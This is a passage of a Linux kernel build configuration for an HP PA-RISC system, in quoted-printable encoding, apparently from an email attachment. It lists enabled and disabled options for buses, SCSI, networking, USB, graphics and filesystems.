# Bus options (PCI, PCMCIA, EISA, GSC, ISA)=0A=
#=0A=
CONFIG_GSC=3Dy=0A=
CONFIG_HPPB=3Dy=0A=
CONFIG_IOMMU_CCIO=3Dy=0A=
CONFIG_GSC_LASI=3Dy=0A=
CONFIG_GSC_WAX=3Dy=0A=
# CONFIG_EISA is not set=0A=
CONFIG_PCI=3Dy=0A=
CONFIG_PCI_LEGACY_PROC=3Dy=0A=
CONFIG_GSC_DINO=3Dy=0A=
CONFIG_PCI_LBA=3Dy=0A=
CONFIG_IOSAPIC=3Dy=0A=
CONFIG_IOMMU_SBA=3Dy=0A=
=0A=
#=0A=
# PCCARD (PCMCIA/CardBus) support=0A=
#=0A=
# CONFIG_PCCARD is not set=0A=
=0A=
#=0A=
# PCI Hotplug Support=0A=
#=0A=
# CONFIG_HOTPLUG_PCI is not set=0A=
=0A=
#=0A=
# PA-RISC specific drivers=0A=
#=0A=
# CONFIG_SUPERIO is not set=0A=
CONFIG_CHASSIS_LCD_LED=3Dy=0A=
# CONFIG_PDC_CHASSIS is not set=0A=
CONFIG_PDC_STABLE=3Dy=0A=
=0A=
#=0A=
# Executable file formats=0A=
#=0A=
CONFIG_BINFMT_ELF=3Dy=0A=
# CONFIG_BINFMT_MISC is not set=0A=
=0A=
#=0A=
# Networking=0A=
#=0A=
CONFIG_NET=3Dy=0A=
=0A=
#=0A=
# Networking options=0A=
#=0A=
CONFIG_PACKET=3Dy=0A=
CONFIG_PACKET_MMAP=3Dy=0A=
CONFIG_UNIX=3Dy=0A=
# CONFIG_NET_KEY is not set=0A=
CONFIG_INET=3Dy=0A=
# CONFIG_IP_MULTICAST is not set=0A=
# CONFIG_IP_ADVANCED_ROUTER is not set=0A=
CONFIG_IP_FIB_HASH=3Dy=0A=
# CONFIG_IP_PNP is not set=0A=
# CONFIG_NET_IPIP is not set=0A=
# CONFIG_NET_IPGRE is not set=0A=
# CONFIG_ARPD is not set=0A=
# CONFIG_SYN_COOKIES is not set=0A=
# CONFIG_INET_AH is not set=0A=
# CONFIG_INET_ESP is not set=0A=
# CONFIG_INET_IPCOMP is not set=0A=
# CONFIG_INET_TUNNEL is not set=0A=
# CONFIG_INET_DIAG is not set=0A=
# CONFIG_TCP_CONG_ADVANCED is not set=0A=
CONFIG_TCP_CONG_BIC=3Dy=0A=
# CONFIG_IPV6 is not set=0A=
# CONFIG_NETFILTER is not set=0A=
=0A=
#=0A=
# DCCP Configuration (EXPERIMENTAL)=0A=
#=0A=
# CONFIG_IP_DCCP is not set=0A=
=0A=
#=0A=
# SCTP Configuration (EXPERIMENTAL)=0A=
#=0A=
# CONFIG_IP_SCTP is not set=0A=
# CONFIG_ATM is not set=0A=
# CONFIG_BRIDGE is not set=0A=
# CONFIG_VLAN_8021Q is not set=0A=
# CONFIG_DECNET is not set=0A=
# CONFIG_LLC2 is not set=0A=
# CONFIG_IPX is not set=0A=
# CONFIG_ATALK is not set=0A=
# CONFIG_X25 is not set=0A=
# CONFIG_LAPB is not set=0A=
=0A=
#=0A=
# TIPC Configuration (EXPERIMENTAL)=0A=
#=0A=
# CONFIG_TIPC is not set=0A=
# CONFIG_NET_DIVERT is not set=0A=
# CONFIG_ECONET is not set=0A=
# CONFIG_WAN_ROUTER is not set=0A=
=0A=
#=0A=
# QoS and/or fair queueing=0A=
#=0A=
# CONFIG_NET_SCHED is not set=0A=
=0A=
#=0A=
# Network testing=0A=
#=0A=
# CONFIG_NET_PKTGEN is not set=0A=
# CONFIG_HAMRADIO is not set=0A=
# CONFIG_IRDA is not set=0A=
# CONFIG_BT is not set=0A=
# CONFIG_IEEE80211 is not set=0A=
=0A=
#=0A=
# Device Drivers=0A=
#=0A=
=0A=
#=0A=
# Generic Driver Options=0A=
#=0A=
# CONFIG_STANDALONE is not set=0A=
# CONFIG_PREVENT_FIRMWARE_BUILD is not set=0A=
CONFIG_FW_LOADER=3Dy=0A=
=0A=
#=0A=
# Connector - unified userspace <-> kernelspace linker=0A=
#=0A=
# CONFIG_CONNECTOR is not set=0A=
=0A=
#=0A=
# Memory Technology Devices (MTD)=0A=
#=0A=
# CONFIG_MTD is not set=0A=
=0A=
#=0A=
# Parallel port support=0A=
#=0A=
CONFIG_PARPORT=3Dm=0A=
# CONFIG_PARPORT_PC is not set=0A=
CONFIG_PARPORT_NOT_PC=3Dy=0A=
CONFIG_PARPORT_GSC=3Dy=0A=
# CONFIG_PARPORT_1284 is not set=0A=
=0A=
#=0A=
# Plug and Play support=0A=
#=0A=
=0A=
#=0A=
# Block devices=0A=
#=0A=
# CONFIG_BLK_CPQ_DA is not set=0A=
# CONFIG_BLK_CPQ_CISS_DA is not set=0A=
# CONFIG_BLK_DEV_DAC960 is not set=0A=
# CONFIG_BLK_DEV_UMEM is not set=0A=
# CONFIG_BLK_DEV_COW_COMMON is not set=0A=
CONFIG_BLK_DEV_LOOP=3Dm=0A=
# CONFIG_BLK_DEV_CRYPTOLOOP is not set=0A=
# CONFIG_BLK_DEV_NBD is not set=0A=
# CONFIG_BLK_DEV_SX8 is not set=0A=
# CONFIG_BLK_DEV_UB is not set=0A=
CONFIG_BLK_DEV_RAM=3Dm=0A=
CONFIG_BLK_DEV_RAM_COUNT=3D16=0A=
CONFIG_BLK_DEV_RAM_SIZE=3D4096=0A=
# CONFIG_CDROM_PKTCDVD is not set=0A=
# CONFIG_ATA_OVER_ETH is not set=0A=
=0A=
#=0A=
# ATA/ATAPI/MFM/RLL support=0A=
#=0A=
# CONFIG_IDE is not set=0A=
=0A=
#=0A=
# SCSI device support=0A=
#=0A=
# CONFIG_RAID_ATTRS is not set=0A=
CONFIG_SCSI=3Dy=0A=
CONFIG_SCSI_PROC_FS=3Dy=0A=
=0A=
#=0A=
# SCSI support type (disk, tape, CD-ROM)=0A=
#=0A=
CONFIG_BLK_DEV_SD=3Dy=0A=
CONFIG_CHR_DEV_ST=3Dy=0A=
# CONFIG_CHR_DEV_OSST is not set=0A=
CONFIG_BLK_DEV_SR=3Dy=0A=
# CONFIG_BLK_DEV_SR_VENDOR is not set=0A=
CONFIG_CHR_DEV_SG=3Dy=0A=
# CONFIG_CHR_DEV_SCH is not set=0A=
=0A=
#=0A=
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs=0A=
#=0A=
# CONFIG_SCSI_MULTI_LUN is not set=0A=
CONFIG_SCSI_CONSTANTS=3Dy=0A=
# CONFIG_SCSI_LOGGING is not set=0A=
=0A=
#=0A=
# SCSI Transport Attributes=0A=
#=0A=
CONFIG_SCSI_SPI_ATTRS=3Dy=0A=
# CONFIG_SCSI_FC_ATTRS is not set=0A=
# CONFIG_SCSI_ISCSI_ATTRS is not set=0A=
# CONFIG_SCSI_SAS_ATTRS is not set=0A=
=0A=
#=0A=
# SCSI low-level drivers=0A=
#=0A=
# CONFIG_ISCSI_TCP is not set=0A=
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set=0A=
# CONFIG_SCSI_3W_9XXX is not set=0A=
# CONFIG_SCSI_ACARD is not set=0A=
# CONFIG_SCSI_AACRAID is not set=0A=
# CONFIG_SCSI_AIC7XXX is not set=0A=
# CONFIG_SCSI_AIC7XXX_OLD is not set=0A=
# CONFIG_SCSI_AIC79XX is not set=0A=
# CONFIG_SCSI_DPT_I2O is not set=0A=
# CONFIG_MEGARAID_NEWGEN is not set=0A=
# CONFIG_MEGARAID_LEGACY is not set=0A=
# CONFIG_MEGARAID_SAS is not set=0A=
# CONFIG_SCSI_SATA is not set=0A=
# CONFIG_SCSI_DMX3191D is not set=0A=
# CONFIG_SCSI_FUTURE_DOMAIN is not set=0A=
# CONFIG_SCSI_IPS is not set=0A=
# CONFIG_SCSI_INITIO is not set=0A=
# CONFIG_SCSI_INIA100 is not set=0A=
CONFIG_SCSI_LASI700=3Dy=0A=
CONFIG_53C700_LE_ON_BE=3Dy=0A=
CONFIG_SCSI_SYM53C8XX_2=3Dy=0A=
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=3D0=0A=
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=3D16=0A=
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=3D64=0A=
CONFIG_SCSI_SYM53C8XX_MMIO=3Dy=0A=
# CONFIG_SCSI_IPR is not set=0A=
# CONFIG_SCSI_ZALON is not set=0A=
# CONFIG_SCSI_QLOGIC_FC is not set=0A=
# CONFIG_SCSI_QLOGIC_1280 is not set=0A=
# CONFIG_SCSI_QLA_FC is not set=0A=
# CONFIG_SCSI_LPFC is not set=0A=
# CONFIG_SCSI_DC395x is not set=0A=
# CONFIG_SCSI_DC390T is not set=0A=
# CONFIG_SCSI_NSP32 is not set=0A=
# CONFIG_SCSI_DEBUG is not set=0A=
=0A=
#=0A=
# Multi-device support (RAID and LVM)=0A=
#=0A=
# CONFIG_MD is not set=0A=
=0A=
#=0A=
# Fusion MPT device support=0A=
#=0A=
# CONFIG_FUSION is not set=0A=
# CONFIG_FUSION_SPI is not set=0A=
# CONFIG_FUSION_FC is not set=0A=
# CONFIG_FUSION_SAS is not set=0A=
=0A=
#=0A=
# IEEE 1394 (FireWire) support=0A=
#=0A=
# CONFIG_IEEE1394 is not set=0A=
=0A=
#=0A=
# I2O device support=0A=
#=0A=
# CONFIG_I2O is not set=0A=
=0A=
#=0A=
# Network device support=0A=
#=0A=
CONFIG_NETDEVICES=3Dy=0A=
# CONFIG_DUMMY is not set=0A=
# CONFIG_BONDING is not set=0A=
# CONFIG_EQUALIZER is not set=0A=
# CONFIG_TUN is not set=0A=
=0A=
#=0A=
# ARCnet devices=0A=
#=0A=
# CONFIG_ARCNET is not set=0A=
=0A=
#=0A=
# PHY device support=0A=
#=0A=
# CONFIG_PHYLIB is not set=0A=
=0A=
#=0A=
# Ethernet (10 or 100Mbit)=0A=
#=0A=
CONFIG_NET_ETHERNET=3Dy=0A=
# CONFIG_MII is not set=0A=
# CONFIG_LASI_82596 is not set=0A=
# CONFIG_HAPPYMEAL is not set=0A=
# CONFIG_SUNGEM is not set=0A=
# CONFIG_CASSINI is not set=0A=
# CONFIG_NET_VENDOR_3COM is not set=0A=
=0A=
#=0A=
# Tulip family network device support=0A=
#=0A=
CONFIG_NET_TULIP=3Dy=0A=
# CONFIG_DE2104X is not set=0A=
CONFIG_TULIP=3Dm=0A=
CONFIG_TULIP_MWI=3Dy=0A=
# CONFIG_TULIP_MMIO is not set=0A=
# CONFIG_TULIP_NAPI is not set=0A=
# CONFIG_DE4X5 is not set=0A=
# CONFIG_WINBOND_840 is not set=0A=
# CONFIG_DM9102 is not set=0A=
# CONFIG_ULI526X is not set=0A=
# CONFIG_HP100 is not set=0A=
# CONFIG_NET_PCI is not set=0A=
# CONFIG_NET_POCKET is not set=0A=
=0A=
#=0A=
# Ethernet (1000 Mbit)=0A=
#=0A=
# CONFIG_ACENIC is not set=0A=
# CONFIG_DL2K is not set=0A=
# CONFIG_E1000 is not set=0A=
# CONFIG_NS83820 is not set=0A=
# CONFIG_HAMACHI is not set=0A=
# CONFIG_YELLOWFIN is not set=0A=
# CONFIG_R8169 is not set=0A=
# CONFIG_SIS190 is not set=0A=
# CONFIG_SKGE is not set=0A=
# CONFIG_SKY2 is not set=0A=
# CONFIG_SK98LIN is not set=0A=
# CONFIG_TIGON3 is not set=0A=
# CONFIG_BNX2 is not set=0A=
=0A=
#=0A=
# Ethernet (10000 Mbit)=0A=
#=0A=
# CONFIG_CHELSIO_T1 is not set=0A=
# CONFIG_IXGB is not set=0A=
# CONFIG_S2IO is not set=0A=
=0A=
#=0A=
# Token Ring devices=0A=
#=0A=
# CONFIG_TR is not set=0A=
=0A=
#=0A=
# Wireless LAN (non-hamradio)=0A=
#=0A=
# CONFIG_NET_RADIO is not set=0A=
=0A=
#=0A=
# Wan interfaces=0A=
#=0A=
# CONFIG_WAN is not set=0A=
# CONFIG_FDDI is not set=0A=
# CONFIG_HIPPI is not set=0A=
# CONFIG_PLIP is not set=0A=
# CONFIG_PPP is not set=0A=
# CONFIG_SLIP is not set=0A=
# CONFIG_NET_FC is not set=0A=
# CONFIG_SHAPER is not set=0A=
# CONFIG_NETCONSOLE is not set=0A=
# CONFIG_NETPOLL is not set=0A=
# CONFIG_NET_POLL_CONTROLLER is not set=0A=
=0A=
#=0A=
# ISDN subsystem=0A=
#=0A=
# CONFIG_ISDN is not set=0A=
=0A=
#=0A=
# Telephony Support=0A=
#=0A=
# CONFIG_PHONE is not set=0A=
=0A=
#=0A=
# Input device support=0A=
#=0A=
CONFIG_INPUT=3Dy=0A=
=0A=
#=0A=
# Userland interfaces=0A=
#=0A=
CONFIG_INPUT_MOUSEDEV=3Dy=0A=
CONFIG_INPUT_MOUSEDEV_PSAUX=3Dy=0A=
CONFIG_INPUT_MOUSEDEV_SCREEN_X=3D1024=0A=
CONFIG_INPUT_MOUSEDEV_SCREEN_Y=3D768=0A=
# CONFIG_INPUT_JOYDEV is not set=0A=
# CONFIG_INPUT_TSDEV is not set=0A=
CONFIG_INPUT_EVDEV=3Dy=0A=
# CONFIG_INPUT_EVBUG is not set=0A=
=0A=
#=0A=
# Input Device Drivers=0A=
#=0A=
CONFIG_INPUT_KEYBOARD=3Dy=0A=
CONFIG_KEYBOARD_ATKBD=3Dy=0A=
CONFIG_KEYBOARD_ATKBD_HP_KEYCODES=3Dy=0A=
# CONFIG_KEYBOARD_ATKBD_RDI_KEYCODES is not set=0A=
# CONFIG_KEYBOARD_SUNKBD is not set=0A=
# CONFIG_KEYBOARD_LKKBD is not set=0A=
# CONFIG_KEYBOARD_XTKBD is not set=0A=
# CONFIG_KEYBOARD_NEWTON is not set=0A=
# CONFIG_KEYBOARD_HIL_OLD is not set=0A=
# CONFIG_KEYBOARD_HIL is not set=0A=
CONFIG_INPUT_MOUSE=3Dy=0A=
# CONFIG_MOUSE_PS2 is not set=0A=
# CONFIG_MOUSE_SERIAL is not set=0A=
# CONFIG_MOUSE_VSXXXAA is not set=0A=
# CONFIG_MOUSE_HIL is not set=0A=
# CONFIG_INPUT_JOYSTICK is not set=0A=
CONFIG_INPUT_TOUCHSCREEN=3Dy=0A=
# CONFIG_TOUCHSCREEN_GUNZE is not set=0A=
# CONFIG_TOUCHSCREEN_ELO is not set=0A=
# CONFIG_TOUCHSCREEN_MTOUCH is not set=0A=
# CONFIG_TOUCHSCREEN_MK712 is not set=0A=
# CONFIG_INPUT_MISC is not set=0A=
=0A=
#=0A=
# Hardware I/O ports=0A=
#=0A=
CONFIG_SERIO=3Dy=0A=
# CONFIG_SERIO_SERPORT is not set=0A=
# CONFIG_SERIO_PARKBD is not set=0A=
CONFIG_SERIO_GSCPS2=3Dy=0A=
# CONFIG_HP_SDC is not set=0A=
# CONFIG_SERIO_PCIPS2 is not set=0A=
CONFIG_SERIO_LIBPS2=3Dy=0A=
# CONFIG_SERIO_RAW is not set=0A=
# CONFIG_GAMEPORT is not set=0A=
=0A=
#=0A=
# Character devices=0A=
#=0A=
CONFIG_VT=3Dy=0A=
CONFIG_VT_CONSOLE=3Dy=0A=
CONFIG_HW_CONSOLE=3Dy=0A=
# CONFIG_SERIAL_NONSTANDARD is not set=0A=
=0A=
#=0A=
# Serial drivers=0A=
#=0A=
# CONFIG_SERIAL_8250 is not set=0A=
=0A=
#=0A=
# Non-8250 serial port support=0A=
#=0A=
# CONFIG_SERIAL_MUX is not set=0A=
# CONFIG_PDC_CONSOLE is not set=0A=
CONFIG_UNIX98_PTYS=3Dy=0A=
CONFIG_LEGACY_PTYS=3Dy=0A=
CONFIG_LEGACY_PTY_COUNT=3D256=0A=
CONFIG_PRINTER=3Dm=0A=
# CONFIG_LP_CONSOLE is not set=0A=
# CONFIG_PPDEV is not set=0A=
# CONFIG_TIPAR is not set=0A=
=0A=
#=0A=
# IPMI=0A=
#=0A=
# CONFIG_IPMI_HANDLER is not set=0A=
=0A=
#=0A=
# Watchdog Cards=0A=
#=0A=
CONFIG_WATCHDOG=3Dy=0A=
# CONFIG_WATCHDOG_NOWAYOUT is not set=0A=
=0A=
#=0A=
# Watchdog Device Drivers=0A=
#=0A=
# CONFIG_SOFT_WATCHDOG is not set=0A=
=0A=
#=0A=
# PCI-based Watchdog Cards=0A=
#=0A=
# CONFIG_PCIPCWATCHDOG is not set=0A=
# CONFIG_WDTPCI is not set=0A=
=0A=
#=0A=
# USB-based Watchdog Cards=0A=
#=0A=
# CONFIG_USBPCWATCHDOG is not set=0A=
CONFIG_GEN_RTC=3Dy=0A=
CONFIG_GEN_RTC_X=3Dy=0A=
# CONFIG_DTLK is not set=0A=
# CONFIG_R3964 is not set=0A=
# CONFIG_APPLICOM is not set=0A=
=0A=
#=0A=
# Ftape, the floppy tape device driver=0A=
#=0A=
# CONFIG_DRM is not set=0A=
# CONFIG_RAW_DRIVER is not set=0A=
=0A=
#=0A=
# TPM devices=0A=
#=0A=
# CONFIG_TCG_TPM is not set=0A=
# CONFIG_TELCLOCK is not set=0A=
=0A=
#=0A=
# I2C support=0A=
#=0A=
# CONFIG_I2C is not set=0A=
=0A=
#=0A=
# SPI support=0A=
#=0A=
# CONFIG_SPI is not set=0A=
# CONFIG_SPI_MASTER is not set=0A=
=0A=
#=0A=
# Dallas's 1-wire bus=0A=
#=0A=
# CONFIG_W1 is not set=0A=
=0A=
#=0A=
# Hardware Monitoring support=0A=
#=0A=
CONFIG_HWMON=3Dy=0A=
# CONFIG_HWMON_VID is not set=0A=
# CONFIG_HWMON_DEBUG_CHIP is not set=0A=
=0A=
#=0A=
# Misc devices=0A=
#=0A=
=0A=
#=0A=
# Multimedia Capabilities Port drivers=0A=
#=0A=
=0A=
#=0A=
# Multimedia devices=0A=
#=0A=
# CONFIG_VIDEO_DEV is not set=0A=
=0A=
#=0A=
# Digital Video Broadcasting Devices=0A=
#=0A=
# CONFIG_DVB is not set=0A=
=0A=
#=0A=
# Graphics support=0A=
#=0A=
CONFIG_FB=3Dy=0A=
CONFIG_FB_CFB_FILLRECT=3Dy=0A=
CONFIG_FB_CFB_COPYAREA=3Dy=0A=
CONFIG_FB_CFB_IMAGEBLIT=3Dy=0A=
# CONFIG_FB_MACMODES is not set=0A=
# CONFIG_FB_MODE_HELPERS is not set=0A=
# CONFIG_FB_TILEBLITTING is not set=0A=
# CONFIG_FB_CIRRUS is not set=0A=
# CONFIG_FB_PM2 is not set=0A=
# CONFIG_FB_CYBER2000 is not set=0A=
# CONFIG_FB_ASILIANT is not set=0A=
# CONFIG_FB_IMSTT is not set=0A=
CONFIG_FB_STI=3Dy=0A=
# CONFIG_FB_S1D13XXX is not set=0A=
# CONFIG_FB_NVIDIA is not set=0A=
# CONFIG_FB_RIVA is not set=0A=
# CONFIG_FB_MATROX is not set=0A=
# CONFIG_FB_RADEON_OLD is not set=0A=
# CONFIG_FB_RADEON is not set=0A=
# CONFIG_FB_ATY128 is not set=0A=
# CONFIG_FB_ATY is not set=0A=
# CONFIG_FB_SAVAGE is not set=0A=
# CONFIG_FB_SIS is not set=0A=
# CONFIG_FB_NEOMAGIC is not set=0A=
# CONFIG_FB_KYRO is not set=0A=
# CONFIG_FB_3DFX is not set=0A=
# CONFIG_FB_VOODOO1 is not set=0A=
# CONFIG_FB_TRIDENT is not set=0A=
# CONFIG_FB_VIRTUAL is not set=0A=
=0A=
#=0A=
# Console display driver support=0A=
#=0A=
CONFIG_DUMMY_CONSOLE=3Dy=0A=
CONFIG_DUMMY_CONSOLE_COLUMNS=3D160=0A=
CONFIG_DUMMY_CONSOLE_ROWS=3D64=0A=
CONFIG_FRAMEBUFFER_CONSOLE=3Dy=0A=
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set=0A=
CONFIG_STI_CONSOLE=3Dy=0A=
CONFIG_FONTS=3Dy=0A=
# CONFIG_FONT_8x8 is not set=0A=
CONFIG_FONT_8x16=3Dy=0A=
# CONFIG_FONT_6x11 is not set=0A=
# CONFIG_FONT_7x14 is not set=0A=
# CONFIG_FONT_PEARL_8x8 is not set=0A=
# CONFIG_FONT_ACORN_8x8 is not set=0A=
# CONFIG_FONT_MINI_4x6 is not set=0A=
# CONFIG_FONT_SUN8x16 is not set=0A=
# CONFIG_FONT_SUN12x22 is not set=0A=
# CONFIG_FONT_10x18 is not set=0A=
=0A=
#=0A=
# Logo configuration=0A=
#=0A=
# CONFIG_LOGO is not set=0A=
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set=0A=
=0A=
#=0A=
# Sound=0A=
#=0A=
# CONFIG_SOUND is not set=0A=
=0A=
#=0A=
# USB support=0A=
#=0A=
CONFIG_USB_ARCH_HAS_HCD=3Dy=0A=
CONFIG_USB_ARCH_HAS_OHCI=3Dy=0A=
CONFIG_USB=3Dm=0A=
# CONFIG_USB_DEBUG is not set=0A=
=0A=
#=0A=
# Miscellaneous USB options=0A=
#=0A=
CONFIG_USB_DEVICEFS=3Dy=0A=
# CONFIG_USB_BANDWIDTH is not set=0A=
# CONFIG_USB_DYNAMIC_MINORS is not set=0A=
# CONFIG_USB_OTG is not set=0A=
=0A=
#=0A=
# USB Host Controller Drivers=0A=
#=0A=
CONFIG_USB_EHCI_HCD=3Dm=0A=
# CONFIG_USB_EHCI_SPLIT_ISO is not set=0A=
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set=0A=
# CONFIG_USB_ISP116X_HCD is not set=0A=
CONFIG_USB_OHCI_HCD=3Dm=0A=
# CONFIG_USB_OHCI_BIG_ENDIAN is not set=0A=
CONFIG_USB_OHCI_LITTLE_ENDIAN=3Dy=0A=
# CONFIG_USB_UHCI_HCD is not set=0A=
# CONFIG_USB_SL811_HCD is not set=0A=
=0A=
#=0A=
# USB Device Class drivers=0A=
#=0A=
# CONFIG_USB_ACM is not set=0A=
CONFIG_USB_PRINTER=3Dm=0A=
=0A=
#=0A=
# NOTE: USB_STORAGE enables SCSI, and 'SCSI disk support'=0A=
#=0A=
=0A=
#=0A=
# may also be needed; see USB_STORAGE Help for more information=0A=
#=0A=
CONFIG_USB_STORAGE=3Dm=0A=
CONFIG_USB_STORAGE_DEBUG=3Dy=0A=
# CONFIG_USB_STORAGE_DATAFAB is not set=0A=
# CONFIG_USB_STORAGE_FREECOM is not set=0A=
# CONFIG_USB_STORAGE_DPCM is not set=0A=
# CONFIG_USB_STORAGE_USBAT is not set=0A=
# CONFIG_USB_STORAGE_SDDR09 is not set=0A=
# CONFIG_USB_STORAGE_SDDR55 is not set=0A=
# CONFIG_USB_STORAGE_JUMPSHOT is not set=0A=
# CONFIG_USB_STORAGE_ALAUDA is not set=0A=
# CONFIG_USB_STORAGE_ONETOUCH is not set=0A=
# CONFIG_USB_LIBUSUAL is not set=0A=
=0A=
#=0A=
# USB Input Devices=0A=
#=0A=
CONFIG_USB_HID=3Dm=0A=
CONFIG_USB_HIDINPUT=3Dy=0A=
# CONFIG_USB_HIDINPUT_POWERBOOK is not set=0A=
# CONFIG_HID_FF is not set=0A=
# CONFIG_USB_HIDDEV is not set=0A=
=0A=
#=0A=
# USB HID Boot Protocol drivers=0A=
#=0A=
# CONFIG_USB_KBD is not set=0A=
# CONFIG_USB_MOUSE is not set=0A=
# CONFIG_USB_AIPTEK is not set=0A=
# CONFIG_USB_WACOM is not set=0A=
# CONFIG_USB_ACECAD is not set=0A=
# CONFIG_USB_KBTAB is not set=0A=
# CONFIG_USB_POWERMATE is not set=0A=
# CONFIG_USB_MTOUCH is not set=0A=
# CONFIG_USB_ITMTOUCH is not set=0A=
# CONFIG_USB_EGALAX is not set=0A=
# CONFIG_USB_YEALINK is not set=0A=
# CONFIG_USB_XPAD is not set=0A=
# CONFIG_USB_ATI_REMOTE is not set=0A=
# CONFIG_USB_ATI_REMOTE2 is not set=0A=
# CONFIG_USB_KEYSPAN_REMOTE is not set=0A=
# CONFIG_USB_APPLETOUCH is not set=0A=
=0A=
#=0A=
# USB Imaging devices=0A=
#=0A=
# CONFIG_USB_MDC800 is not set=0A=
# CONFIG_USB_MICROTEK is not set=0A=
=0A=
#=0A=
# USB Multimedia devices=0A=
#=0A=
# CONFIG_USB_DABUSB is not set=0A=
=0A=
#=0A=
# Video4Linux support is needed for USB Multimedia device support=0A=
#=0A=
=0A=
#=0A=
# USB Network Adapters=0A=
#=0A=
# CONFIG_USB_CATC is not set=0A=
# CONFIG_USB_KAWETH is not set=0A=
# CONFIG_USB_PEGASUS is not set=0A=
# CONFIG_USB_RTL8150 is not set=0A=
# CONFIG_USB_USBNET is not set=0A=
# CONFIG_USB_MON is not set=0A=
=0A=
#=0A=
# USB port drivers=0A=
#=0A=
# CONFIG_USB_USS720 is not set=0A=
=0A=
#=0A=
# USB Serial Converter support=0A=
#=0A=
# CONFIG_USB_SERIAL is not set=0A=
=0A=
#=0A=
# USB Miscellaneous drivers=0A=
#=0A=
# CONFIG_USB_EMI62 is not set=0A=
# CONFIG_USB_EMI26 is not set=0A=
# CONFIG_USB_AUERSWALD is not set=0A=
# CONFIG_USB_RIO500 is not set=0A=
# CONFIG_USB_LEGOTOWER is not set=0A=
# CONFIG_USB_LCD is not set=0A=
# CONFIG_USB_LED is not set=0A=
# CONFIG_USB_CYTHERM is not set=0A=
# CONFIG_USB_PHIDGETKIT is not set=0A=
# CONFIG_USB_PHIDGETSERVO is not set=0A=
# CONFIG_USB_IDMOUSE is not set=0A=
# CONFIG_USB_SISUSBVGA is not set=0A=
# CONFIG_USB_LD is not set=0A=
# CONFIG_USB_TEST is not set=0A=
=0A=
#=0A=
# USB DSL modem support=0A=
#=0A=
=0A=
#=0A=
# USB Gadget Support=0A=
#=0A=
# CONFIG_USB_GADGET is not set=0A=
=0A=
#=0A=
# MMC/SD Card support=0A=
#=0A=
# CONFIG_MMC is not set=0A=
=0A=
#=0A=
# InfiniBand support=0A=
#=0A=
# CONFIG_INFINIBAND is not set=0A=
=0A=
#=0A=
# SN Devices=0A=
#=0A=
=0A=
#=0A=
# File systems=0A=
#=0A=
# CONFIG_EXT2_FS is not set=0A=
CONFIG_EXT3_FS=3Dy=0A=
# CONFIG_EXT3_FS_XATTR is not set=0A=
CONFIG_JBD=3Dy=0A=
# CONFIG_JBD_DEBUG is not set=0A=
CONFIG_REISERFS_FS=3Dy=0A=
# CONFIG_REISERFS_CHECK is not set=0A=
# CONFIG_REISERFS_PROC_INFO is not set=0A=
# CONFIG_REISERFS_FS_XATTR is not set=0A=
# CONFIG_JFS_FS is not set=0A=
CONFIG_FS_POSIX_ACL=3Dy=0A=
# CONFIG_XFS_FS is not set=0A=
# CONFIG_OCFS2_FS is not set=0A=
# CONFIG_MINIX_FS is not set=0A=
# CONFIG_ROMFS_FS is not set=0A=
CONFIG_INOTIFY=3Dy=0A=
# CONFIG_QUOTA is not set=0A=
CONFIG_DNOTIFY=3Dy=0A=
# CONFIG_AUTOFS_FS is not set=0A=
# CONFIG_AUTOFS4_FS is not set=0A=
# CONFIG_FUSE_FS is not set=0A=
=0A=
#=0A=
# CD-ROM/DVD Filesystems=0A=
#=0A=
CONFIG_ISO9660_FS=3Dy=0A=
CONFIG_JOLIET=3Dy=0A=
# CONFIG_ZISOFS is not set=0A=
# CONFIG_UDF_FS is not set=0A=
=0A=
#=0A=
# DOS/FAT/NT Filesystems=0A=
#=0A=
# CONFIG_MSDOS_FS is not set=0A=
# CONFIG_VFAT_FS is not set=0A=
# CONFIG_NTFS_FS is not set=0A=
=0A=
#=0A=
# Pseudo filesystems=0A=
#=0A=
CONFIG_PROC_FS=3Dy=0A=
CONFIG_PROC_KCORE=3Dy=0A=
CONFIG_SYSFS=3Dy=0A=
CONFIG_TMPFS=3Dy=0A=
# CONFIG_HUGETLB_PAGE is not set=0A=
CONFIG_RAMFS=3Dy=0A=
# CONFIG_RELAYFS_FS is not set=0A=
# CONFIG_CONFIGFS_FS is not set=0A=
=0A=
#=0A=
# Miscellaneous filesystems=0A=
#=0A=
# CONFIG_ADFS_FS is not set=0A=
# CONFIG_AFFS_FS is not set=0A=
# CONFIG_HFS_FS is not set=0A=
# CONFIG_HFSPLUS_FS is not set=0A=
# CONFIG_BEFS_FS is not set=0A=
# CONFIG_BFS_FS is not set=0A=
# CONFIG_EFS_FS is not set=0A=
# CONFIG_CRAMFS is not set=0A=
# CONFIG_VXFS_FS is not set=0A=
# CONFIG_HPFS_FS is not set=0A=
# CONFIG_QNX4FS_FS is not set=0A=
# CONFIG_SYSV_FS is not set=0A=
# CONFIG_UFS_FS is not set=0A=
=0A=
#=0A=
# Network File Systems=0A=
#=0A=
CONFIG_NFS_FS=3Dm=0A=
CONFIG_NFS_V3=3Dy=0A=
CONFIG_NFS_V3_ACL=3Dy=0A=
CONFIG_NFS_V4=3Dy=0A=
# CONFIG_NFS_DIRECTIO is not set=0A=
CONFIG_NFSD=3Dm=0A=
CONFIG_NFSD_V3=3Dy=0A=
# CONFIG_NFSD_V3_ACL is not set=0A=
CONFIG_NFSD_V4=3Dy=0A=
CONFIG_NFSD_TCP=3Dy=0A=
CONFIG_LOCKD=3Dm=0A=
CONFIG_LOCKD_V4=3Dy=0A=
CONFIG_EXPORTFS=3Dm=0A=
CONFIG_NFS_ACL_SUPPORT=3Dm=0A=
CONFIG_NFS_COMMON=3Dy=0A=
CONFIG_SUNRPC=3Dm=0A=
CONFIG_SUNRPC_GSS=3Dm=0A=
CONFIG_RPCSEC_GSS_KRB5=3Dm=0A=
# CONFIG_RPCSEC_GSS_SPKM3 is not set=0A=
CONFIG_SMB_FS=3Dm=0A=
# CONFIG_SMB_NLS_DEFAULT is not set=0A=
CONFIG_CIFS=3Dm=0A=
# CONFIG_CIFS_STATS is not set=0A=
# CONFIG_CIFS_XATTR is not set=0A=
# CONFIG_CIFS_EXPERIMENTAL is not set=0A=
# CONFIG_NCP_FS is not set=0A=
# CONFIG_CODA_FS is not set=0A=
